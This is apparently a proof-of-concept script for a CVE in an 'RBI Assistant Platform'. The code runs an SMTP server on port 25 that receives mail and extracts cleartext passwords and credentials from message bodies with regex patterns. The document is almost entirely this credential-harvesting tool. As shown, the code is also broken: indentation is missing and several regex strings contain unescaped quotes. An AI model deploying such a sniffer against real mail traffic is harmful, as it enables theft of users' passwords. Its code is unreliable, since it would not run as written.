The following code is for security research and authorized testing only.
python
# CVE-2025-62643 PoC - RBI Assistant Platform Cleartext Password Exposure
# This PoC demonstrates the vulnerability by intercepting cleartext passwords
# transmitted via email by the RBI assistant platform.
import smtpd
import asyncore
import email
import re
class CleartextPasswordSniffer(smtpd.SMTPServer):
"""
SMTP server simulator that intercepts emails containing cleartext passwords
sent by the RBI assistant platform.
"""
def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):
print(f"[*] Intercepted email from: {mailfrom}")
print(f"[*] Recipient(s): {rcpttos}")
# Parse the email content
msg = email.message_from_bytes(data)
subject = msg.get('Subject', '')
print(f"[*] Subject: {subject}")
# Extract email body
if msg.is_multipart():
for part in msg.walk():
content_type = part.get_content_type()
if content_type == "text/plain" or content_type == "text/html":
body = part.get_payload(decode=True).decode('utf-8', errors='ignore')
self.extract_credentials(body)
else:
body = msg.get_payload(decode=True).decode('utf-8', errors='ignore')
self.extract_credentials(body)
def extract_credentials(self, body):
"""Extract cleartext passwords from email body using regex patterns."""
# Common patterns for password disclosure in emails
patterns = [
r'password[:\s]+([A-Za-z0-9!@#$%^&*()_+={}\[\]:";'\"<>?,./~`-]{6,50})',
r'Password[:\s]+([A-Za-z0-9!@#$%^&*()_+={}\[\]:";'\"<>?,./~`-]{6,50})',
r'Your password is[:\s]+([A-Za-z0-9!@#$%^&*()_+={}\[\]:";'\"<>?,./~`-]{6,50})',
r'pwd=([A-Za-z0-9!@#$%^&*()_+={}\[\]:";'\"<>?,./~`-]{6,50})',
r'credentials[:\s]+(\w+:\w+)',
]
for pattern in patterns:
matches = re.findall(pattern, body, re.IGNORECASE)
for match in matches:
print(f"[!] CLEAREXT PASSWORD FOUND: {match}")
# Start the SMTP sniffer on port 25
if __name__ == "__main__":
print("[*] Starting SMTP sniffer for CVE-2025-62643...")
print("[*] Listening on 0.0.0.0:25")
server = CleartextPasswordSniffer(('0.0.0.0', 25), None)
try:
asyncore.loop()
except KeyboardInterrupt:
print("\n[*] Sniffer stopped.")